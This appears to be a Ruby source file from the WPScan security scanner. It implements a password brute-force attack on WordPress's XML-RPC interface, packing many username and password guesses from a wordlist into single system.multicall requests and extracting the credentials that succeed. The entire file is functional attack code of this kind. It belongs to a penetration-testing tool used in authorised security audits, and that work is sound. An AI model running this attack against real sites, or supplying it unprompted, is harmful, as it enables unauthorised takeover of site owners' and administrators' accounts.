138 lines
4.9 KiB
Ruby
138 lines
4.9 KiB
Ruby
# frozen_string_literal: true
|
|
|
|
module WPScan
|
|
module Finders
|
|
module Passwords
|
|
# Password attack against the XMLRPC interface with the multicall method
|
|
# WP < 4.4 is vulnerable to such attack
|
|
class XMLRPCMulticall < CMSScanner::Finders::Finder
|
|
# @param [ Array<User> ] users
|
|
# @param [ Array<String> ] passwords
|
|
#
|
|
# @return [ Typhoeus::Response ]
|
|
def do_multi_call(users, passwords)
|
|
methods = []
|
|
|
|
users.each do |user|
|
|
passwords.each do |password|
|
|
methods << ['wp.getUsersBlogs', user.username, password]
|
|
end
|
|
end
|
|
|
|
target.multi_call(methods, cache_ttl: 0).run
|
|
end
|
|
|
|
# @param [ IO ] file
|
|
# @param [ Integer ] passwords_size
|
|
# @return [ Array<String> ] The passwords from the last checked position in the file until there are
|
|
# passwords_size passwords retrieved
|
|
def passwords_from_wordlist(file, passwords_size)
|
|
pwds = []
|
|
added_pwds = 0
|
|
|
|
return pwds if passwords_size.zero?
|
|
|
|
# Make sure that the main code does not call #sysseek or #count etc
|
|
# otherwise the file descriptor will be set to somwehere else
|
|
file.each_line(chomp: true) do |line|
|
|
pwds << line
|
|
added_pwds += 1
|
|
|
|
break if added_pwds == passwords_size
|
|
end
|
|
|
|
pwds
|
|
end
|
|
|
|
# @param [ Array<Model::User> ] users
|
|
# @param [ String ] wordlist_path
|
|
# @param [ Hash ] opts
|
|
# @option opts [ Boolean ] :show_progression
|
|
# @option opts [ Integer ] :multicall_max_passwords
|
|
#
|
|
# @yield [ Model::User ] When a valid combination is found
|
|
#
|
|
# TODO: Make rubocop happy about metrics etc
|
|
#
|
|
# rubocop:disable all
|
|
def attack(users, wordlist_path, opts = {})
|
|
checked_passwords = 0
|
|
wordlist = File.open(wordlist_path)
|
|
wordlist_size = wordlist.count
|
|
max_passwords = opts[:multicall_max_passwords]
|
|
current_passwords_size = passwords_size(max_passwords, users.size)
|
|
|
|
create_progress_bar(total: (wordlist_size / current_passwords_size.round(1)).ceil,
|
|
show_progression: opts[:show_progression])
|
|
|
|
wordlist.sysseek(0) # reset the descriptor to the beginning of the file as it changed with #count
|
|
|
|
loop do
|
|
current_users = users.select { |user| user.password.nil? }
|
|
current_passwords = passwords_from_wordlist(wordlist, current_passwords_size)
|
|
checked_passwords += current_passwords_size
|
|
|
|
break if current_users.empty? || current_passwords.nil? || current_passwords.empty?
|
|
|
|
res = do_multi_call(current_users, current_passwords)
|
|
|
|
progress_bar.increment
|
|
|
|
check_and_output_errors(res)
|
|
|
|
# Avoid to parse the response and iterate over all the structs in the document
|
|
# if there isn't any tag matching a valid combination
|
|
next unless res.body =~ /isAdmin/ # maybe a better one ?
|
|
|
|
Nokogiri::XML(res.body).xpath('//struct').each_with_index do |struct, index|
|
|
next if struct.text =~ /faultCode/
|
|
|
|
user = current_users[index / current_passwords.size]
|
|
user.password = current_passwords[index % current_passwords.size]
|
|
|
|
yield user
|
|
|
|
# Updates the current_passwords_size and progress_bar#total
|
|
# given that less requests will be done due to a valid combination found.
|
|
current_passwords_size = passwords_size(max_passwords, current_users.size - 1)
|
|
|
|
if current_passwords_size == 0
|
|
progress_bar.log('All Found') # remove ?
|
|
progress_bar.stop
|
|
break
|
|
end
|
|
|
|
begin
|
|
progress_bar.total = progress_bar.progress + ((wordlist_size - checked_passwords) / current_passwords_size.round(1)).ceil
|
|
rescue ProgressBar::InvalidProgressError
|
|
end
|
|
end
|
|
end
|
|
# Maybe a progress_bar.stop ?
|
|
end
|
|
# rubocop:enable all
|
|
|
|
def passwords_size(max_passwords, users_size)
|
|
return 1 if max_passwords < users_size
|
|
return 0 if users_size.zero?
|
|
|
|
max_passwords / users_size
|
|
end
|
|
|
|
# @param [ Typhoeus::Response ] res
|
|
def check_and_output_errors(res)
|
|
progress_bar.log("Incorrect response: #{res.code} / #{res.return_message}") unless res.code == 200
|
|
|
|
if /parse error. not well formed/i.match?(res.body)
|
|
progress_bar.log('Parsing error, might be caused by a too high --max-passwords value (such as >= 2k)')
|
|
end
|
|
|
|
return unless /requested method [^ ]+ does not exist/i.match?(res.body)
|
|
|
|
progress_bar.log('The requested method is not supported')
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|